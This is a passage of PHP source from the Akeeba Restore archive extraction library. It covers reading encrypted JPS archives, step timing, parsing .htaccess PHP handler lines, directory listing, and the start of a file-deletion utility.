		$sigFound = $this->fuzzySignatureSearch(array(
			'JPS'
		), 3);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jps', 'j'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read the signature
		$sig = fread($this->fp, 3);

		if ($sig != 'JPS')
		{
			// Not a JPS file
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jps', 'j'));

			return false;
		}

		// Read and parse the known portion of header data (5 bytes)
		$bin_data    = fread($this->fp, 5);
		$header_data = unpack('Cmajor/Cminor/cspanned/vextra', $bin_data);

		// Is this a v2 archive?
		$versionHumanReadable = $header_data['major'] . '.' . $header_data['minor'];
		$isV2Archive = version_compare($versionHumanReadable, '2.0', 'ge');

		// Load any remaining header data
		$rest_length = $header_data['extra'];

		if ($isV2Archive && $rest_length)
		{
			// V2 archives only have one kind of extra header
			if (!$this->readKeyExpansionExtraHeader())
			{
				return false;
			}
		}
		elseif ($rest_length > 0)
		{
			$junk = fread($this->fp, $rest_length);
		}

		// Temporary array with all the data we read
		$temp = array(
			'signature' => $sig,
			'major'     => $header_data['major'],
			'minor'     => $header_data['minor'],
			'spanned'   => $header_data['spanned']
		);
		// Array-to-object conversion
		foreach ($temp as $key => $value)
		{
			$this->archiveHeaderData->{$key} = $value;
		}

		$this->currentPartOffset = @ftell($this->fp);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		// Get and decode Entity Description Block
		$signature = fread($this->fp, 3);

		// Check for end-of-archive siganture
		if ($signature == 'JPE')
		{
			$this->setState('postrun');

			return true;
		}

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Check signature
		if ($signature != 'JPF')
		{
			if ($this->isEOF(true))
			{
				// This file is finished; make sure it's the last one
				$gotNextFile = $this->nextFile();

				if (!$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'jps',
						'j'
					));

					return false;
				}

				if (!$this->isEOF(false))
				{
					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}

				// We're just finished
				return false;
			}
			else
			{
				fseek($this->fp, -6, SEEK_CUR);
				$signature = fread($this->fp, 3);
				if ($signature == 'JPE')
				{
					return false;
				}

				if (count($this->archiveList) > 1)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jps',
						'j'
					));

					return false;
				}

				$this->setError(AKText::sprintf(
					'INVALID_FILE_HEADER',
					$this->currentPartNumber,
					$this->currentPartOffset,
					'jps',
					'j'
				));

				return false;
			}
		}

		// This a JPS Entity Block. Process the header.

		$isBannedFile = false;

		// Make sure the decryption is all set up
		AKEncryptionAES::setPbkdf2Algorithm($this->pbkdf2Algorithm);
		AKEncryptionAES::setPbkdf2Iterations($this->pbkdf2Iterations);
		AKEncryptionAES::setPbkdf2UseStaticSalt($this->pbkdf2UseStaticSalt);
		AKEncryptionAES::setPbkdf2StaticSalt($this->pbkdf2StaticSalt);

		// Read and decrypt the header
		$edbhData = fread($this->fp, 4);
		$edbh     = unpack('vencsize/vdecsize', $edbhData);
		$bin_data = fread($this->fp, $edbh['encsize']);

		// Add the header length to the data read
		$this->compressedSizeReadSinceLastFileHeader += $edbh['encsize'] + 4;

		// Decrypt and truncate
		$bin_data = AKEncryptionAES::AESDecryptCBC($bin_data, $this->password);
		$bin_data = substr($bin_data, 0, $edbh['decsize']);

		// Read length of EDB and of the Entity Path Data
		$length_array = unpack('vpathsize', substr($bin_data, 0, 2));
		// Read the path data
		$file = substr($bin_data, 2, $length_array['pathsize']);

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($file, $this->renameFiles))
			{
				$file      = $this->renameFiles[$file];
				$isRenamed = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($file), $this->renameDirs))
			{
				$file         = rtrim($this->renameDirs[dirname($file)], '/') . '/' . basename($file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read and parse the known data portion
		$bin_data    = substr($bin_data, 2 + $length_array['pathsize']);
		$header_data = unpack('Ctype/Ccompression/Vuncompsize/Vperms/Vfilectime', $bin_data);

		$this->fileHeader->timestamp = $header_data['filectime'];
		$compressionType             = $header_data['compression'];

		// Populate the return array
		$this->fileHeader->file         = $file;
		$this->fileHeader->uncompressed = $header_data['uncompsize'];
		switch ($header_data['type'])
		{
			case 0:
				$this->fileHeader->type = 'dir';
				break;

			case 1:
				$this->fileHeader->type = 'file';
				break;

			case 2:
				$this->fileHeader->type = 'link';
				break;
		}
		switch ($compressionType)
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 1:
				$this->fileHeader->compression = 'gzip';
				break;
			case 2:
				$this->fileHeader->compression = 'bzip2';
				break;
		}
		$this->fileHeader->permissions = $header_data['perms'];

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			$done = false;
			while (!$done)
			{
				// Read the Data Chunk Block header
				$binMiniHead = fread($this->fp, 8);
				if (in_array(substr($binMiniHead, 0, 3), array('JPF', 'JPE')))
				{
					// Not a Data Chunk Block header, I am done skipping the file
					@fseek($this->fp, -8, SEEK_CUR); // Roll back the file pointer
					$done = true; // Mark as done
					continue; // Exit loop
				}
				else
				{
					// Skip forward by the amount of compressed data
					$miniHead = unpack('Vencsize/Vdecsize', $binMiniHead);
					@fseek($this->fp, $miniHead['encsize'], SEEK_CUR);
					$this->compressedSizeReadSinceLastFileHeader += 8 + $miniHead['encsize'];
				}
			}

			$this->currentPartOffset                     = @ftell($this->fp);
			$this->runState                              = AK_STATE_DONE;
			$this->fileHeader->compressed                = $this->compressedSizeReadSinceLastFileHeader;
			$this->compressedSizeReadSinceLastFileHeader = 0;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				// Regular file; ask the postproc engine to process its filename
				if ($restorePerms)
				{
					$this->fileHeader->realFile =
						$this->postProcEngine->processFilename($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
				}
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$dir                        = $this->fileHeader->file;
				$this->fileHeader->realFile = $dir;

				// Directory; just create it
				if ($restorePerms)
				{
					$this->postProcEngine->createDirRecursive($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->postProcEngine->createDirRecursive($this->fileHeader->file, 0755);
				}

				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}


		$this->fileHeader->compressed                = $this->compressedSizeReadSinceLastFileHeader;
		$this->compressedSizeReadSinceLastFileHeader = 0;

		// Header is read
		$this->runState = AK_STATE_HEADER;

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Creates the directory this file points to
	 */
	protected function createDirectory()
	{
		if ($this->mustSkip())
		{
			return true;
		}

		// Do we need to create a directory?
		$lastSlash = strrpos($this->fileHeader->realFile, '/');
		$dirName   = substr($this->fileHeader->realFile, 0, $lastSlash);
		$perms     = 0755;
		$ignore    = AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($dirName);

		if (($this->postProcEngine->createDirRecursive($dirName, $perms) == false) && (!$ignore))
		{
			$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $dirName));

			return false;
		}

		return true;
	}

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected function processFileData()
	{
		switch ($this->fileHeader->type)
		{
			case 'dir':
				return $this->processTypeDir();
				break;

			case 'link':
				return $this->processTypeLink();
				break;

			case 'file':
				switch ($this->fileHeader->compression)
				{
					case 'none':
						return $this->processTypeFileUncompressed();
						break;

					case 'gzip':
					case 'bzip2':
						return $this->processTypeFileCompressedSimple();
						break;

				}
				break;
		}
	}

	/**
	 * Process the file data of a directory entry
	 *
	 * @return bool
	 */
	private function processTypeDir()
	{
		// Directory entries in the JPA do not have file data, therefore we're done processing the entry
		$this->runState = AK_STATE_DATAREAD;

		return true;
	}

	/**
	 * Process the file data of a link entry
	 *
	 * @return bool
	 */
	private function processTypeLink()
	{

		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Read the mini header
		$binMiniHeader   = fread($this->fp, 8);
		$reallyReadBytes = akstringlen($binMiniHeader);

		if ($reallyReadBytes < 8)
		{
			// We read less than requested! Why? Did we hit local EOF?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Let's go to the next file
				$this->nextFile();
				// Retry reading the header
				$binMiniHeader   = fread($this->fp, 8);
				$reallyReadBytes = akstringlen($binMiniHeader);
				// Still not enough data? If so, the archive is corrupt or missing parts.
				if ($reallyReadBytes < 8)
				{
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}
			else
			{
				// Nope. The archive is corrupt
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		// Read the encrypted data
		$miniHeader      = unpack('Vencsize/Vdecsize', $binMiniHeader);
		$toReadBytes     = $miniHeader['encsize'];
		$data            = $this->fread($this->fp, $toReadBytes);
		$reallyReadBytes = akstringlen($data);
		$this->compressedSizeReadSinceLastFileHeader += 8 + $miniHeader['encsize'];

		if ($reallyReadBytes < $toReadBytes)
		{
			// We read less than requested! Why? Did we hit local EOF?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Let's go to the next file
				$this->nextFile();
				// Read the rest of the data
				$toReadBytes -= $reallyReadBytes;
				$restData        = $this->fread($this->fp, $toReadBytes);
				$reallyReadBytes = akstringlen($data);
				if ($reallyReadBytes < $toReadBytes)
				{
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
				$data .= $restData;
			}
			else
			{
				// Nope. The archive is corrupt
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		// Decrypt the data
		$data = AKEncryptionAES::AESDecryptCBC($data, $this->password);

		// Is the length of the decrypted data less than expected?
		$data_length = akstringlen($data);
		if ($data_length < $miniHeader['decsize'])
		{
			$this->setError(AKText::_('ERR_INVALID_JPS_PASSWORD'));

			return false;
		}

		// Trim the data
		$data = substr($data, 0, $miniHeader['decsize']);

		if (!$this->mustSkip())
		{
			// Try to remove an existing file or directory by the same name
			if (file_exists($this->fileHeader->file))
			{
				@unlink($this->fileHeader->file);
				@rmdir($this->fileHeader->file);
			}
			// Remove any trailing slash
			if (substr($this->fileHeader->file, -1) == '/')
			{
				$this->fileHeader->file = substr($this->fileHeader->file, 0, -1);
			}
			// Create the symlink - only possible within PHP context. There's no support built in the FTP protocol, so no postproc use is possible here :(
			@symlink($data, $this->fileHeader->file);
		}

		$this->runState = AK_STATE_DATAREAD;

		return true; // No matter if the link was created!
	}

	private function processTypeFileUncompressed()
	{
		// Uncompressed files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);
			if ($this->dataReadLength == 0)
			{
				$outfp = @fopen($this->fileHeader->realFile, 'w');
			}
			else
			{
				$outfp = @fopen($this->fileHeader->realFile, 'a');
			}

			// Can we write to the file?
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			if (!$this->mustSkip() && is_resource($outfp))
			{
				@fclose($outfp);
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		$this->setError('An uncompressed file was detected; this is not supported by this archive extraction utility');

		return false;
	}

	private function processTypeFileCompressedSimple()
	{
		$timer = AKFactory::getTimer();

		// Files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			// Open the output file
			$outfp = @fopen($this->fileHeader->realFile, 'w');

			// Can we write to the file?
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fclose($outfp);
				}
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		$leftBytes = $this->fileHeader->uncompressed - $this->dataReadLength;

		// Loop while there's data to write and enough time to do it
		while (($leftBytes > 0) && ($timer->getTimeLeft() > 0))
		{
			// Read the mini header
			$binMiniHeader   = fread($this->fp, 8);
			$reallyReadBytes = akstringlen($binMiniHeader);
			if ($reallyReadBytes < 8)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
					// Retry reading the header
					$binMiniHeader   = fread($this->fp, 8);
					$reallyReadBytes = akstringlen($binMiniHeader);
					// Still not enough data? If so, the archive is corrupt or missing parts.
					if ($reallyReadBytes < 8)
					{
						$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

						return false;
					}
				}
				else
				{
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			// Read the encrypted data
			$miniHeader      = unpack('Vencsize/Vdecsize', $binMiniHeader);
			$toReadBytes     = $miniHeader['encsize'];
			$data            = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($data);

			$this->compressedSizeReadSinceLastFileHeader += $miniHeader['encsize'] + 8;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
					// Read the rest of the data
					$toReadBytes -= $reallyReadBytes;
					$restData        = $this->fread($this->fp, $toReadBytes);
					$reallyReadBytes = akstringlen($restData);
					if ($reallyReadBytes < $toReadBytes)
					{
						$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

						return false;
					}
					if (akstringlen($data) == 0)
					{
						$data = $restData;
					}
					else
					{
						$data .= $restData;
					}
				}
				else
				{
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			// Decrypt the data
			$data = AKEncryptionAES::AESDecryptCBC($data, $this->password);

			// Is the length of the decrypted data less than expected?
			$data_length = akstringlen($data);
			if ($data_length < $miniHeader['decsize'])
			{
				$this->setError(AKText::_('ERR_INVALID_JPS_PASSWORD'));

				return false;
			}

			// Trim the data
			$data = substr($data, 0, $miniHeader['decsize']);

			// Decompress
			$data    = gzinflate($data);
			$unc_len = akstringlen($data);

			// Write the decrypted data
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fwrite($outfp, $data, akstringlen($data));
				}
			}

			// Update the read length
			$this->dataReadLength += $unc_len;
			$leftBytes = $this->fileHeader->uncompressed - $this->dataReadLength;
		}

		// Close the file pointer
		if (!$this->mustSkip())
		{
			if (is_resource($outfp))
			{
				@fclose($outfp);
			}
		}

		// Was this a pre-timeout bail out?
		if ($leftBytes > 0)
		{
			$this->runState = AK_STATE_DATA;
		}
		else
		{
			// Oh! We just finished!
			$this->runState       = AK_STATE_DATAREAD;
			$this->dataReadLength = 0;
		}

		return true;
	}

	private function readKeyExpansionExtraHeader()
	{
		$signature = fread($this->fp, 4);

		if ($signature != "JH\x00\x01")
		{
			// Not a valid JPS file
			$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

			return false;
		}

		$bin_data    = fread($this->fp, 8);
		$header_data = unpack('vlength/Calgo/Viterations/CuseStaticSalt', $bin_data);

		if ($header_data['length'] != 76)
		{
			// Not a valid JPS file
			$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

			return false;
		}

		switch ($header_data['algo'])
		{
			case 0:
				$algorithm = 'sha1';
				break;

			case 1:
				$algorithm = 'sha256';
				break;

			case 2:
				$algorithm = 'sha512';
				break;

			default:
				// Not a valid JPS file
				$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

				return false;
				break;
		}

		$this->pbkdf2Algorithm     = $algorithm;
		$this->pbkdf2Iterations    = $header_data['iterations'];
		$this->pbkdf2UseStaticSalt = $header_data['useStaticSalt'];
		$this->pbkdf2StaticSalt    = fread($this->fp, 64);

		return true;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Timer class
 */
class AKCoreTimer extends AKAbstractObject
{
	/** @var int Maximum execution time allowance per step */
	private $max_exec_time = null;

	/** @var int Timestamp of execution start */
	private $start_time = null;

	/**
	 * Public constructor, creates the timer object and calculates the execution time limits
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Initialize start time
		$this->start_time = $this->microtime_float();

		// Get configured max time per step and bias
		$config_max_exec_time = AKFactory::get('kickstart.tuning.max_exec_time', 14);
		$bias                 = AKFactory::get('kickstart.tuning.run_time_bias', 75) / 100;

		// Get PHP's maximum execution time (our upper limit)
		if (@function_exists('ini_get'))
		{
			$php_max_exec_time = @ini_get("maximum_execution_time");
			if ((!is_numeric($php_max_exec_time)) || ($php_max_exec_time == 0))
			{
				// If we have no time limit, set a hard limit of about 10 seconds
				// (safe for Apache and IIS timeouts, verbose enough for users)
				$php_max_exec_time = 14;
			}
		}
		else
		{
			// If ini_get is not available, use a rough default
			$php_max_exec_time = 14;
		}

		// Apply an arbitrary correction to counter CMS load time
		$php_max_exec_time--;

		// Apply bias
		$php_max_exec_time    = $php_max_exec_time * $bias;
		$config_max_exec_time = $config_max_exec_time * $bias;

		// Use the most appropriate time limit value
		if ($config_max_exec_time > $php_max_exec_time)
		{
			$this->max_exec_time = $php_max_exec_time;
		}
		else
		{
			$this->max_exec_time = $config_max_exec_time;
		}
	}

	/**
	 * Returns the current timestampt in decimal seconds
	 */
	private function microtime_float()
	{
		list($usec, $sec) = explode(" ", microtime());

		return ((float) $usec + (float) $sec);
	}

	/**
	 * Wake-up function to reset internal timer when we get unserialized
	 */
	public function __wakeup()
	{
		// Re-initialize start time on wake-up
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Gets the number of seconds left, before we hit the "must break" threshold
	 *
	 * @return float
	 */
	public function getTimeLeft()
	{
		return $this->max_exec_time - $this->getRunningTime();
	}

	/**
	 * Gets the time elapsed since object creation/unserialization, effectively how
	 * long Akeeba Engine has been processing data
	 *
	 * @return float
	 */
	public function getRunningTime()
	{
		return $this->microtime_float() - $this->start_time;
	}

	/**
	 * Enforce the minimum execution time
	 */
	public function enforce_min_exec_time()
	{
		// Try to get a sane value for PHP's maximum_execution_time INI parameter
		if (@function_exists('ini_get'))
		{
			$php_max_exec = @ini_get("maximum_execution_time");
		}
		else
		{
			$php_max_exec = 10;
		}
		if (($php_max_exec == "") || ($php_max_exec == 0))
		{
			$php_max_exec = 10;
		}
		// Decrease $php_max_exec time by 500 msec we need (approx.) to tear down
		// the application, as well as another 500msec added for rounding
		// error purposes. Also make sure this is never gonna be less than 0.
		$php_max_exec = max($php_max_exec * 1000 - 1000, 0);

		// Get the "minimum execution time per step" Akeeba Backup configuration variable
		$minexectime = AKFactory::get('kickstart.tuning.min_exec_time', 0);
		if (!is_numeric($minexectime))
		{
			$minexectime = 0;
		}

		// Make sure we are not over PHP's time limit!
		if ($minexectime > $php_max_exec)
		{
			$minexectime = $php_max_exec;
		}

		// Get current running time
		$elapsed_time = $this->getRunningTime() * 1000;
		$minexectime = 1000.0 * $minexectime;

		// Only run a sleep delay if we haven't reached the minexectime execution time
		if (($minexectime > $elapsed_time) && ($elapsed_time > 0))
		{
			$sleep_msec = (int)($minexectime - $elapsed_time);

			if (function_exists('usleep'))
			{
				usleep(1000 * $sleep_msec);
			}
			elseif (function_exists('time_nanosleep'))
			{
				$sleep_sec  = floor($sleep_msec / 1000);
				$sleep_nsec = 1000000 * ($sleep_msec - ($sleep_sec * 1000));
				time_nanosleep($sleep_sec, $sleep_nsec);
			}
			elseif (function_exists('time_sleep_until'))
			{
				$until_timestamp = time() + $sleep_msec / 1000;
				time_sleep_until($until_timestamp);
			}
			elseif (function_exists('sleep'))
			{
				$sleep_sec = ceil($sleep_msec / 1000);
				sleep($sleep_sec);
			}
		}
	}

	/**
	 * Reset the timer. It should only be used in CLI mode!
	 */
	public function resetTime()
	{
		$this->start_time = $this->microtime_float();
	}

	/**
	 * @param int $max_exec_time
	 */
	public function setMaxExecTime($max_exec_time)
	{
		$this->max_exec_time = $max_exec_time;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */


class AKUtilsHtaccess extends AKAbstractObject
{
	/**
	 * Extract the PHP handler configuration from a .htaccess file.
	 *
	 * This method supports AddHandler lines and SetHandler blocks.
	 *
	 * @param   string  $htaccess
	 *
	 * @return  string|null  NULL when not found
	 */
	public static function extractHandler($htaccess)
	{
		// Normalize the .htaccess
		$htaccess = self::normalizeHtaccess($htaccess);

		// Look for SetHandler and AddHandler in Files and FilesMatch containers
		foreach (['Files', 'FilesMatch'] as $container)
		{
			$result = self::extractContainer($container, $htaccess);

			if (!is_null($result))
			{
				return $result;
			}
		}

		// Fallback: extract an AddHandler line
		$found = preg_match('#^AddHandler\s?.*\.php.*$#mi', $htaccess, $matches);

		if ($found >= 1)
		{
			return $matches[0];
		}

		return null;
	}

	/**
	 * Extracts a Files or FilesMatch container with an AddHandler or SetHandler line
	 *
	 * @param   string  $container  "Files" or "FilesMatch"
	 * @param   string  $htaccess   The .htaccess file content
	 *
	 * @return  string|null  NULL when not found
	 */
	protected static function extractContainer($container, $htaccess)
	{
		// Try to find the opening container tag e.g. <Files....>
		$pattern = sprintf('#<%s\s*.*\.php.*>#m', $container);
		$found   = preg_match($pattern, $htaccess, $matches, PREG_OFFSET_CAPTURE);

		if (!$found)
		{
			return null;
		}

		// Get the rest of the .htaccess sample
		$openContainer = $matches[0][0];
		$htaccess      = trim(substr($htaccess, $matches[0][1] + strlen($matches[0][0])));

		// Try to find the closing container tag
		$pattern = sprintf('#</%s\s*>#m', $container);
		$found   = preg_match($pattern, $htaccess, $matches, PREG_OFFSET_CAPTURE);

		if (!$found)
		{
			return null;
		}

		// Get the rest of the .htaccess sample
		$htaccess       = trim(substr($htaccess, 0, $matches[$found - 1][1]));
		$closeContainer = $matches[$found - 1][0];

		if (empty($htaccess))
		{
			return null;
		}

		// Now we'll explode remaining lines and find the first SetHandler or AddHandler line
		$lines = array_map('trim', explode("\n", $htaccess));
		$lines = array_filter($lines, function ($line) {
			return preg_match('#(Add|Set)Handler\s?#i', $line) >= 1;
		});

		if (empty($lines))
		{
			return null;
		}

		return $openContainer . "\n" . array_shift($lines) . "\n" . $closeContainer;
	}

	/**
	 * Normalize the .htaccess file content, making it suitable for handler extraction
	 *
	 * @param   string  $htaccess  The original file
	 *
	 * @return  string  The normalized file
	 */
	private static function normalizeHtaccess($htaccess)
	{
		// Convert all newlines into UNIX style
		$htaccess = str_replace("\r\n", "\n", $htaccess);
		$htaccess = str_replace("\r", "\n", $htaccess);

		// Return only non-comment, non-empty lines
		$isNonEmptyNonComment = function ($line) {
			$line = trim($line);

			return !empty($line) && (substr($line, 0, 1) !== '#');
		};

		$lines = array_map('trim', explode("\n", $htaccess));

		return implode("\n", array_filter($lines, $isNonEmptyNonComment));
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A filesystem scanner which uses opendir()
 */
class AKUtilsLister extends AKAbstractObject
{
	public function &getFiles($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = array();
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if (!$isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}

	public function &getFolders($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = array();
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if ($isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A filesystem zapper - removes all files and folders under a root
 */
class AKUtilsZapper extends AKAbstractPart
{
	/** @var array Directories left to be deleted */
	private $directory_list;

	/** @var array Files left to be deleted */
	private $file_list;

	/**
	 * Have we finished scanning all subdirectories of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_subdir_scanning = false;

	/**
	 * Have we finished scanning all files of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_file_scanning = true;

	/**
	 * Is the current directory completely excluded?
	 *
	 * @var boolean
	 */
	private $excluded_folder = false;

	/** @var   integer  How many files have been processed in the current step */
	private $processed_files_counter;

	/** @var   string  Current directory being scanned */
	private $current_directory;

	/** @var   string  Current root directory being processed */
	private $root = '';

	/** @var   integer  Total files to process */
	private $total_files = 0;

	/** @var   integer  Total files already processed */
	private $done_files = 0;

	/** @var   integer  Total folders to process */
	private $total_folders = 0;

	/** @var   integer  Total folders already processed */
	private $done_folders = 0;

	/** @var array Absolute filesystem patterns to never delete (e.g. /var/www/html/*.jpa) */
	private $excluded = array();

	/** @var bool Are we in a dry-run? */
	private $dryRun = false;

	/**
	 * Implements the _prepare() abstract method
	 *
	 * Configuration parameters:
	 *
	 * root      The root under which we are going to be deleting files
	 * excluded  Absolute filesystem patterns to never delete (e.g. /var/www/html/*.jpa)
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		debugMsg(__CLASS__ . " :: Starting _prepare()");

		$defaultExcluded = $this->getDefaultExclusions();

		$parameters = array_merge(array(
